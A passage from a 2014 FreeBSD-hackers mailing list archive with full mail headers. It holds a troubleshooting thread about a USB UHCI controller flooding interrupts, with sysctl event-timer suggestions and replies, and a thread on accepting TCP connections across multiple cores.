freebsd-hackers@freebsd.org mailing list > > http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > > To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freebsd.org" > > > Thanks, Hans. Here's some output from : > > interrupt total rate > irq1 atkbd0 48 0 > irq16 uhci0 19937714 43248 > irq18 atapci0+ 886 1 > [snip] > > There are no other UHCI's in the list. > > A produces only one instance at uhci0: > > "uhci0: port 0xff20-0xff3f \ > irq16 at device 26.0 on pci0" > > Is there another command you're thinking of to produce better information? Show command output: sysctl kern.eventtimer.choice kern.eventtimer.timer Try changing the type of timer: sysctl kern.eventtimer.timer=LAPIC -- Vladislav V. Prodan System & Network Administrator support.od.ua From owner-freebsd-hackers@FreeBSD.ORG Sat Jun 7 15:33:05 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id DE68485E for ; Sat, 7 Jun 2014 15:33:05 +0000 (UTC) Received: from mout.gmx.com (mout.gmx.com [74.208.4.201]) (using TLSv1.2 with cipher DHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 8F5822727 for ; Sat, 7 Jun 2014 15:33:05 +0000 (UTC) Received: from [192.168.1.68] ([172.15.184.248]) by mail.gmx.com (mrgmxus001) with ESMTPSA (Nemesis) id 0MZkee-1XDjRu1ulK-00LUNX for ; Sat, 07 Jun 2014 17:33:04 +0200 Message-ID: <53933110.8060300@gmx.us> Date: Sat, 07 Jun 2014 11:34:40 -0400 From: Dutch Ingraham User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.4.0 MIME-Version: 1.0 To: freebsd-hackers@freebsd.org Subject: Re: Fwd: Interrupt Overload References: <538A3432.5010303@gmx.us> <53930E19.8090603@gmx.us> <53931963.4040604@selasky.org> <53932314.6010108@gmx.us> <1402153691.709851721.u6k6kkkk@frv35.fwdcdn.com> In-Reply-To: <1402153691.709851721.u6k6kkkk@frv35.fwdcdn.com> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Provags-ID: V03:K0:8D57a89rYZJEL8Bcjt/51ZwEnkCAjVAhKb19AG1tyJ4/awidh19 xnaVzO9zUIWthe82H6fvCpz8626RxtS+HBg+QcKy8pfFsxe64f0/i/omYK+cnxVFWqFZvwB tau5CoZsbqVJdQsAy8idiOApoKelmflKgfGNPigx5VJVsEapirLdUosAvzPDCxPCl3VxnFt 82LGR39Rub5cNoSD4BAwA== X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 07 Jun 2014 15:33:05 -0000 On 06/07/2014 11:09 AM, Vladislav Prodan wrote: > > > > --- Original message --- > From: "Dutch Ingraham" > Date: 7 June 2014, 17:33:33 > > > >> On 06/07/2014 09:53 AM, Hans Petter Selasky wrote: >>> On 06/07/14 15:05, Dutch Ingraham wrote: >>>> >>>> Hi everyone - I am resending this as it is not appearing in the archives >>>> so I don't believe it made it to the general list-serv. (My apologies if >>>> it actually did make it.) >>>> >>> >>> Hi, >>> >>> UHCI controllers should not produce more than 1000 IRQ/s. Is the >>> interrupt perhaps shared? >>> >>> --HPS >>> >>> _______________________________________________ >>> freebsd-hackers@freebsd.org mailing list >>> http://lists.freebsd.org/mailman/listinfo/freebsd-hackers >>> To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freebsd.org" >>> >> Thanks, Hans. Here's some output from : >> >> interrupt total rate >> irq1 atkbd0 48 0 >> irq16 uhci0 19937714 43248 >> irq18 atapci0+ 886 1 >> [snip] >> >> There are no other UHCI's in the list. >> >> A produces only one instance at uhci0: >> >> "uhci0: port 0xff20-0xff3f \ >> irq16 at device 26.0 on pci0" >> >> Is there another command you're thinking of to produce better information? > > > Show command output: > sysctl kern.eventtimer.choice kern.eventtimer.timer > > > Try changing the type of timer: > sysctl kern.eventtimer.timer=LAPIC > > > > -- > Vladislav V. Prodan > System & Network Administrator > support.od.ua > > _______________________________________________ > freebsd-hackers@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freebsd.org" > Thanks for the response. The output you requested: kern.eventtimer.choice: HPET1 (440) HPET2 (440) HPET3 (440) HPET4 (440) HPET5 (440) HPET6 (440) LAPIC (400) i8254 (100) RTC (0) kern.eventtimer.choice: HPET (did not specify 1, 2, etc.) I also changed the type of timer to LAPIC and rebooted; there was no appreciable change in the interrupt activity. I'm open to any other suggestions, as the system is virtually unusable in this state. From owner-freebsd-hackers@FreeBSD.ORG Sat Jun 7 16:04:54 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id CBFE46EF for ; Sat, 7 Jun 2014 16:04:54 +0000 (UTC) Received: from frv197.fwdcdn.com (frv197.fwdcdn.com [212.42.77.197]) (using TLSv1.2 with cipher DHE-RSA-AES128-SHA (128/128 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 868C32A20 for ; Sat, 7 Jun 2014 16:04:54 +0000 (UTC) DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=ukr.net; s=ffe; h=Content-Transfer-Encoding:Content-Type:MIME-Version:References:In-Reply-To:Message-Id:Cc:To:Subject:From:Date; bh=ZeJdyH4M9TcQOivvPGc3G68lGANWxVgBu28Ap79StOw=; b=Iq0+CIZOcO/M1jKaDduv6mlnxOyhqM7Nwz9uEZlICLUfsvixyShka19S7m3N6Cj81dZInG3FFQD43pK/0jo2n+IfroosKhy4kya8Fdwe69iPmLFYD8qfJMD3WZtphjFpNWiMgyaFAjcn29ZnIfuz89D6dTFxKjPaOVtI1fbfzHc=; Received: from [10.10.10.35] (helo=frv35.fwdcdn.com) by frv197.fwdcdn.com with smtp ID 1WtJ6p-000BKo-Mz for freebsd-hackers@freebsd.org; Sat, 07 Jun 2014 19:04:43 +0300 Date: Sat, 07 Jun 2014 19:04:43 +0300 From: Vladislav Prodan Subject: Re[2]: Fwd: Interrupt Overload To: Dutch Ingraham X-Mailer: mail.ukr.net 5.0 Message-Id: <1402157083.156846225.m95e69ke@frv35.fwdcdn.com> In-Reply-To: <53933110.8060300@gmx.us> References: <538A3432.5010303@gmx.us> <53930E19.8090603@gmx.us> <53931963.4040604@selasky.org> <53932314.6010108@gmx.us> <1402153691.709851721.u6k6kkkk@frv35.fwdcdn.com> <53933110.8060300@gmx.us> MIME-Version: 1.0 Received: from universite@ukr.net by frv35.fwdcdn.com; Sat, 07 Jun 2014 19:04:43 +0300 Content-Type: text/plain; charset="UTF-8" Content-Transfer-Encoding: binary Content-Disposition: inline Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 07 Jun 2014 16:04:54 -0000 --- Original message --- From: "Dutch Ingraham" Date: 7 June 2014, 18:33:12 > > Thanks for the response. > > The output you requested: > > kern.eventtimer.choice: HPET1 (440) HPET2 (440) HPET3 (440) HPET4 (440) > HPET5 (440) HPET6 (440) LAPIC (400) i8254 (100) RTC (0) > > kern.eventtimer.choice: HPET (did not specify 1, 2, etc.) > > I also changed the type of timer to LAPIC and rebooted; there was no > appreciable change in the interrupt activity. After reboot what became timer? :) You can change the timer "on the fly", without rebooting the system. If LAPIC does not help, then try other timers. -- Vladislav V. Prodan System & Network Administrator support.od.ua From owner-freebsd-hackers@FreeBSD.ORG Sat Jun 7 16:06:39 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 16EE38B8 for ; Sat, 7 Jun 2014 16:06:39 +0000 (UTC) Received: from mail-qa0-x22c.google.com (mail-qa0-x22c.google.com [IPv6:2607:f8b0:400d:c00::22c]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id CA6502A36 for ; Sat, 7 Jun 2014 16:06:38 +0000 (UTC) Received: by mail-qa0-f44.google.com with SMTP id j7so5984292qaq.3 for ; Sat, 07 Jun 2014 09:06:37 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:sender:in-reply-to:references:date:message-id:subject :from:to:cc:content-type; bh=jqbZDIa+clr7XY386wfhKcUalxAJJwLx9uJe8kfbo1M=; b=F+WALp4ifhSd37aOAUvaRTpPVEXpEq7xi4uq7edPDddIyHaXp28I0MtwCGHyKs2+dL Te0WA7gIyljsrR0cI421CGrcgbh1Sm/gfnMg/nerLl8L+9efYpcvbPe7hEJDnUnuwfR2 +CORuV/YY1urI6OkEZLTgW4b2cpJ+MoBWrPoXTNTFjBQae7oWRHjPyyapi6LO3ASUNbk o5gWy5sJ0iDzT2Sg5GcO74YX4JhTdANMr2b8papgpENWinfo1uFqOoUduI7y8PbzOJL9 Qmg60fCzVa1zJn2E25GSy756z79sz2od2njWl5tZTIKiRW5U/X1U3FF7CJT2XJEGYViY XDbg== MIME-Version: 1.0 X-Received: by 10.224.37.10 with SMTP id v10mr18943011qad.98.1402157197894; Sat, 07 Jun 2014 09:06:37 -0700 (PDT) Sender: adrian.chadd@gmail.com Received: by 10.224.43.134 with HTTP; Sat, 7 Jun 2014 09:06:37 -0700 (PDT) In-Reply-To: References: Date: Sat, 7 Jun 2014 12:06:37 -0400 X-Google-Sender-Auth: 5_vPQI2RgQjcONv2FE9uyzT9cW8 Message-ID: Subject: Re: Best practice for accepting TCP connections on multicore? From: Adrian Chadd To: Igor Mozolevsky Content-Type: text/plain; charset=UTF-8 Cc: Daniel Janzon , Hackers freeBSD , Dirk Engling X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 07 Jun 2014 16:06:39 -0000 On 7 June 2014 10:19, Igor Mozolevsky wrote: > On 7 June 2014 01:53, Dirk Engling wrote: > >> >> On Sat, 7 Jun 2014, Daniel Janzon wrote: >> >> Is there any better way than doing the accept() call in one thread and >>> then >>> dispatch it to a thread on another core with any user space method? >>> >> > See C10K problem [1]. > > > Why use accept() and not kevent()? You need to keep it portable? >> > > Has anyone rebutted the threads better than events paper[2] yet? > > > > 1. http://www.kegel.com/c10k.html > > 2. > https://www.usenix.org/legacy/events/hotos03/tech/full_papers/vonbehren/vonbehren.pdf Not likely; but that paper talks about a threading model that isn't currently in use in popular UNIX operating systems. It also compares a lightweight thread implementation with a lightweight server to an event driven system with worker threads that acted pretty badly, causing extremely bad memory use and context switching. We've all gotten better at programming since then. -a From owner-freebsd-hackers@FreeBSD.ORG Sat Jun 7 16:39:28 2014 Return-Path: Delivered-To: freebsd-hackers@FreeBSD.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 8B1C0524 for ; Sat, 7 Jun 2014 16:39:28 +0000 (UTC) Received: from mho-02-ewr.mailhop.org (mho-02-ewr.mailhop.org [204.13.248.72]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 5DA572CB1 for ; Sat, 7 Jun 2014 16:39:28 +0000 (UTC) Received: from c-24-8-230-52.hsd1.co.comcast.net ([24.8.230.52] helo=damnhippie.dyndns.org) by mho-02-ewr.mailhop.org with esmtpsa (TLSv1:AES256-SHA:256) (Exim 4.72) (envelope-from ) id 1WtJeK-0004wy-NU; Sat, 07 Jun 2014 16:39:20 +0000 Received: from [172.22.42.240] (revolution.hippie.lan [172.22.42.240]) by damnhippie.dyndns.org (8.14.3/8.14.3) with ESMTP id s57GdH2i002650; Sat, 7 Jun 2014 10:39:17 -0600 (MDT) (envelope-from ian@FreeBSD.org) X-Mail-Handler: Dyn Standard SMTP by Dyn X-Originating-IP: 24.8.230.52 X-Report-Abuse-To: abuse@dyndns.com (see http://www.dyndns.com/services/sendlabs/outbound_abuse.html for abuse reporting information) X-MHO-User: U2FsdGVkX1+RYYntt4Hj8JAli7KzKwqQ Subject: Re: Re[2]: Fwd: Interrupt Overload From: Ian Lepore To: Vladislav Prodan In-Reply-To: <1402157083.156846225.m95e69ke@frv35.fwdcdn.com> References: <538A3432.5010303@gmx.us> <53930E19.8090603@gmx.us> <53931963.4040604@selasky.org> <53932314.6010108@gmx.us> <1402153691.709851721.u6k6kkkk@frv35.fwdcdn.com> <53933110.8060300@gmx.us> <1402157083.156846225.m95e69ke@frv35.fwdcdn.com> Content-Type: text/plain; charset="us-ascii" Date: Sat, 07 Jun 2014 10:39:17 -0600 Message-ID: <1402159157.20883.157.camel@revolution.hippie.lan> Mime-Version: 1.0 X-Mailer: Evolution 2.32.1 FreeBSD GNOME Team Port Content-Transfer-Encoding: 7bit Cc: freebsd-hackers@FreeBSD.org, Dutch Ingraham X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 07 Jun 2014 16:39:28 -0000 On Sat, 2014-06-07 at 19:04 +0300, Vladislav Prodan wrote: > > > --- Original message --- > From: "Dutch Ingraham" > Date: 7 June 2014, 18:33:12 > > > > > > Thanks for the response. > > > > The output you requested: > > > > kern.eventtimer.choice: HPET1 (440) HPET2 (440) HPET3 (440) HPET4 (440) > > HPET5 (440) HPET6 (440) LAPIC (400) i8254 (100) RTC (0) > > > > kern.eventtimer.choice: HPET (did not specify 1, 2, etc.) > > > > I also changed the type of timer to LAPIC and rebooted; there was no > > appreciable change in the interrupt activity. > > After reboot what became timer? :) > > You can change the timer "on the fly", without rebooting the system. > > If LAPIC does not help, then try other timers. > > > -- > Vladislav V. Prodan > System & Network Administrator > support.od.ua > It's unclear to me why you are hung up on the idea of changing timers when the misbehaving interrupt is unshared and used only by a USB controller and there's no evidence of any kind that a timer is involved. -- Ian From owner-freebsd-hackers@FreeBSD.ORG Sat Jun 7 16:42:58 2014 Return-Path: Delivered-To: freebsd-hackers@FreeBSD.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id C4017639; Sat, 7 Jun 2014 16:42:58 +0000 (UTC) Received: from mho-01-ewr.mailhop.org (mho-03-ewr.mailhop.org [204.13.248.66]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 96F862D40; Sat, 7 Jun 2014 16:42:58 +0000 (UTC) Received: from c-24-8-230-52.hsd1.co.comcast.net ([24.8.230.52] helo=damnhippie.dyndns.org) by mho-01-ewr.mailhop.org with esmtpsa (TLSv1:AES256-SHA:256) (Exim 4.72) (envelope-from ) id 1WtJhp-000OMY-A1; Sat, 07 Jun 2014 16:42:57 +0000 Received: from [172.22.42.240] (revolution.hippie.lan [172.22.42.240]) by damnhippie.dyndns.org (8.14.3/8.14.3) with ESMTP id s57Ggsgt002656; Sat, 7 Jun 2014 10:42:54 -0600 (MDT) (envelope-from ian@FreeBSD.org) X-Mail-Handler: Dyn Standard SMTP by Dyn X-Originating-IP: 24.8.230.52 X-Report-Abuse-To: abuse@dyndns.com (see http://www.dyndns.com/services/sendlabs/outbound_abuse.html for abuse reporting information) X-MHO-User: U2FsdGVkX18gDAy3LXrPTI677Th97keD Subject: Re: Best practice for accepting TCP connections on multicore? From: Ian Lepore To: Adrian Chadd In-Reply-To: References: Content-Type: text/plain; charset="us-ascii" Date: Sat, 07 Jun 2014 10:42:54 -0600 Message-ID: <1402159374.20883.160.camel@revolution.hippie.lan> Mime-Version: 1.0 X-Mailer: Evolution 2.32.1 FreeBSD GNOME Team Port Content-Transfer-Encoding: 7bit Cc: Hackers freeBSD , Daniel Janzon , Dirk Engling , Igor Mozolevsky X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 07 Jun 2014 16:42:58 -0000 On Sat, 2014-06-07 at 12:06 -0400, Adrian Chadd wrote: > On 7 June 2014 10:19, Igor Mozolevsky wrote: > > On 7 June 2014 01:53, Dirk Engling wrote: > > > >> > >> On Sat, 7 Jun 2014, Daniel Janzon wrote: > >> > >> Is there any better way than doing the accept() call in one thread and > >>> then > >>> dispatch it to a thread on another core with any user space method? > >>> > >> > > See C10K problem [1]. > > > > > > Why use accept() and not kevent()? You need to keep it portable? > >> > > > > Has anyone rebutted the threads better than events paper[2] yet? > > > > > > > > 1. http://www.kegel.com/c10k.html > > > > 2. > > https://www.usenix.org/legacy/events/hotos03/tech/full_papers/vonbehren/vonbehren.pdf > > Not likely; but that paper talks about a threading model that isn't > currently in use in popular UNIX operating systems. It also compares a > lightweight thread implementation with a lightweight server to an > event driven system with worker threads that acted pretty badly, > causing extremely bad memory use and context switching. > > We've all gotten better at programming since then. Yeah, when I glanced at the link and saw it was a cite of a 2003 paper, my gut reaction was "Yeah, it has been rebutted by 11 years of everyone just getting on with their lives and evolving absolutely everything that was tested into something completely different now." -- Ian From owner-freebsd-hackers@FreeBSD.ORG Sat Jun 7 16:46:42 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 66E0490A for ; Sat, 7 Jun 2014 16:46:42 +0000 (UTC) Received: from mout.gmx.com (mout.gmx.com [74.208.4.201]) (using TLSv1.2 with cipher DHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 300B12D6E for ; Sat, 7 Jun 2014 16:46:42 +0000 (UTC) Received: from [192.168.1.68] ([172.15.184.248]) by mail.gmx.com (mrgmxus001) with ESMTPSA (Nemesis) id 0LeMmZ-1WRkEe00Nh-00qCb7 for ; Sat, 07 Jun 2014 18:46:41 +0200 Message-ID: <53934250.1090403@gmx.us> Date: Sat, 07 Jun 2014 12:48:16 -0400 From: Dutch Ingraham User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.4.0 MIME-Version: 1.0 To: freebsd-hackers@freebsd.org Subject: Re: Fwd: Interrupt Overload References: <538A3432.5010303@gmx.us> <53930E19.8090603@gmx.us> <53931963.4040604@selasky.org> <53932314.6010108@gmx.us> <1402153691.709851721.u6k6kkkk@frv35.fwdcdn.com> <53933110.8060300@gmx.us> <1402157083.156846225.m95e69ke@frv35.fwdcdn.com> In-Reply-To: <1402157083.156846225.m95e69ke@frv35.fwdcdn.com> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Provags-ID: V03:K0:QjYlB4XFC8e6qLPr5IkPoFyrNXD91JHHQVBoJorHHtJa6n4ncXm J6Zm1KWwcJsRQfYqVtf6NWdRmystYu2cwSAC9U5A2emFNf2bt7eCuIjHVfEAWvIPvvK3SXb tvykfwtLUeWgKCXNToI8ce/n+houg3h7aVTGrc3VY9OhzvCLXqmj7ST56PEUSToH4Y1ZpR6 /FUzB+UPOzTYMOqlEWzsw== X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 07 Jun 2014 16:46:42 -0000 On 06/07/2014 12:04 PM, Vladislav Prodan wrote: > > > > --- Original message --- > From: "Dutch Ingraham" > Date: 7 June 2014, 18:33:12 > > >> >> Thanks for the response. >> >> The output you requested: >> >> kern.eventtimer.choice: HPET1 (440) HPET2 (440) HPET3 (440) HPET4 (440) >> HPET5 (440) HPET6 (440) LAPIC (400) i8254 (100) RTC (0) >> >> kern.eventtimer.choice: HPET (did not specify 1, 2, etc.) >> >> I also changed the type of timer to LAPIC and rebooted; there was no >> appreciable change in the interrupt activity. > > After reboot what became timer? :) > > You can change the timer "on the fly", without rebooting the system. > > If LAPIC does not help, then try other timers. > > > -- > Vladislav V. Prodan > System & Network Administrator > support.od.ua > > _______________________________________________ > freebsd-hackers@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freebsd.org" > You're right, it is not persistent. I changed to each different event timer and the only one that made a difference was the i8254; that dropped the cpu load from 30% to 10-12%. Much better, but still of course not acceptable for a Core II-Duo running at 3.0GHz. The load averages shown in do also drop proportionally. Interestingly, though, shows the same interrupt rate - 325K/sec. What do you make of the fact that when I suspend with < and then wake-up, everything is absolutely normal, regardless of event timer type? From owner-freebsd-hackers@FreeBSD.ORG Sat Jun 7 16:55:34 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 22F52C4E for ; Sat, 7 Jun 2014 16:55:34 +0000 (UTC) Received: from mail-vc0-x229.google.com (mail-vc0-x229.google.com [IPv6:2607:f8b0:400c:c03::229]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id D40D62E40 for ; Sat, 7 Jun 2014 16:55:33 +0000 (UTC) Received: by mail-vc0-f169.google.com with SMTP id la4so4672639vcb.28 for ; Sat, 07 Jun 2014 09:55:33 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:sender:in-reply-to:references:date:message-id:subject :from:to:cc:content-type; bh=kmOl+qen8jtIxfDEm5b3U+71PMA73W860kSYEZIG2sM=; b=eKniS9tI4XvH07/OTz1OcvRmSS8mDNUh1eDPqhRw8raV578K1/q5ntvjJHSSTrafe7 2wrGR161HDhGNI8rD2lJ0UHmg12n29RTFPWNq2kK9pR3JoZnifbLINZAbe+M/LdItN1S Sc7hHke5iHPYuxq9/ikPF5lhCRqqTZfjlWCcWXIJM1T8o6ItBk+gJ8rU82GqTLpDjfma d7BjC1bvyKj4vxT65OeClfp/FBPamUsK66CTvg/xe1Repp1dsbMRntUbeZcjwn9NkRSz 2eM6QOrUAYlbfnkFpN2azfJXjeTys+u1Dcz56HlgCSPFw4dGpJg9RIHgla/3Roksixfe T8GQ== MIME-Version: 1.0 X-Received: by 10.58.106.104 with SMTP id gt8mr12621132veb.46.1402160132980; Sat, 07 Jun 2014 09:55:32 -0700 (PDT) Sender: adrian.chadd@gmail.com Received: by 10.220.186.193 with HTTP; Sat, 7 Jun 2014 09:55:32 -0700 (PDT) In-Reply-To: <53934250.1090403@gmx.us> References: <538A3432.5010303@gmx.us> <53930E19.8090603@gmx.us> <53931963.4040604@selasky.org> <53932314.6010108@gmx.us> <1402153691.709851721.u6k6kkkk@frv35.fwdcdn.com> <53933110.8060300@gmx.us> <1402157083.156846225.m95e69ke@frv35.fwdcdn.com> <53934250.1090403@gmx.us> Date: Sat, 7 Jun 2014 12:55:32 -0400 X-Google-Sender-Auth: m-mF53CXTgeT0RSLLjO-AtPdo1U Message-ID: Subject: Re: Fwd: Interrupt Overload From: Adrian Chadd To: Dutch Ingraham Content-Type: text/plain; charset=UTF-8 Cc: "freebsd-hackers@freebsd.org" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 07 Jun 2014 16:55:34 -0000 It sounds much more like some unhandled interrupt status bit/condition somewhere. It's possible that putting things to sleep clears that condition. -a On 7 June 2014 12:48, Dutch Ingraham wrote: > On 06/07/2014 12:04 PM, Vladislav Prodan wrote: >> >> >> >> --- Original message --- >> From: "Dutch Ingraham" >> Date: 7 June 2014, 18:33:12 >> >> >>> >>> Thanks for the response. >>> >>> The output you requested: >>> >>> kern.eventtimer.choice: HPET1 (440) HPET2 (440) HPET3 (440) HPET4 (440) >>> HPET5 (440) HPET6 (440) LAPIC (400) i8254 (100) RTC (0) >>> >>> kern.eventtimer.choice: HPET (did not specify 1, 2, etc.) >>> >>> I also changed the type of timer to LAPIC and rebooted; there was no >>> appreciable change in the interrupt activity. >> >> After reboot what became timer? :) >> >> You can change the timer "on the fly", without rebooting the system. >> >> If LAPIC does not help, then try other timers. >> >> >> -- >> Vladislav V. Prodan >> System & Network Administrator >> support.od.ua >> >> _______________________________________________ >> freebsd-hackers@freebsd.org mailing list >> http://lists.freebsd.org/mailman/listinfo/freebsd-hackers >> To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freebsd.org" >> > > You're right, it is not persistent. I changed to each different event > timer and the only one that made a difference was the i8254; that > dropped the cpu load from 30% to 10-12%. Much better, but still of > course not acceptable for a Core II-Duo running at 3.0GHz. The load > averages shown in do also drop proportionally. Interestingly, > though, shows the same interrupt rate - 325K/sec. > > What do you make of the fact that when I suspend with < > and then wake-up, everything is absolutely normal, regardless of event > timer type? > _______________________________________________ > freebsd-hackers@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freebsd.org" From owner-freebsd-hackers@FreeBSD.ORG Sat Jun 7 17:58:02 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 8FEDE353 for ; Sat, 7 Jun 2014 17:58:02 +0000 (UTC) Received: from kib.kiev.ua (kib.kiev.ua [IPv6:2001:470:d5e7:1::1]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 317432321 for ; Sat, 7 Jun 2014 17:58:02 +0000 (UTC) Received: from tom.home (kostik@localhost [127.0.0.1]) by kib.kiev.ua (8.14.9/8.14.9) with ESMTP id s57HvqWE021637; Sat, 7 Jun 2014 20:57:52 +0300 (EEST) (envelope-from kostikbel@gmail.com) DKIM-Filter: OpenDKIM Filter v2.8.3 kib.kiev.ua s57HvqWE021637 Received: (from kostik@localhost) by tom.home (8.14.9/8.14.8/Submit) id s57HvqLA021636; Sat, 7 Jun 2014 20:57:52 +0300 (EEST) (envelope-from kostikbel@gmail.com) X-Authentication-Warning: tom.home: kostik set sender to kostikbel@gmail.com using -f Date: Sat, 7 Jun 2014 20:57:52 +0300 From: Konstantin Belousov To: Dutch Ingraham Subject: Re: Fwd: Interrupt Overload Message-ID: <20140607175752.GP3991@kib.kiev.ua> References: <538A3432.5010303@gmx.us> <53930E19.8090603@gmx.us> <53931963.4040604@selasky.org> <53932314.6010108@gmx.us> <1402153691.709851721.u6k6kkkk@frv35.fwdcdn.com> <53933110.8060300@gmx.us> <1402157083.156846225.m95e69ke@frv35.fwdcdn.com> <53934250.1090403@gmx.us> MIME-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="SlNsYPPA1sYaSN7W" Content-Disposition: inline In-Reply-To: <53934250.1090403@gmx.us> User-Agent: Mutt/1.5.23 (2014-03-12) X-Spam-Status: No, score=-2.0 required=5.0 tests=ALL_TRUSTED,BAYES_00, DKIM_ADSP_CUSTOM_MED,FREEMAIL_FROM,NML_ADSP_CUSTOM_MED autolearn=no autolearn_force=no version=3.4.0 X-Spam-Checker-Version: SpamAssassin 3.4.0 (2014-02-07) on tom.home Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 07 Jun 2014 17:58:02 -0000 --SlNsYPPA1sYaSN7W Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Sat, Jun 07, 2014 at 12:48:16PM -0400, Dutch Ingraham wrote: > On 06/07/2014 12:04 PM, Vladislav 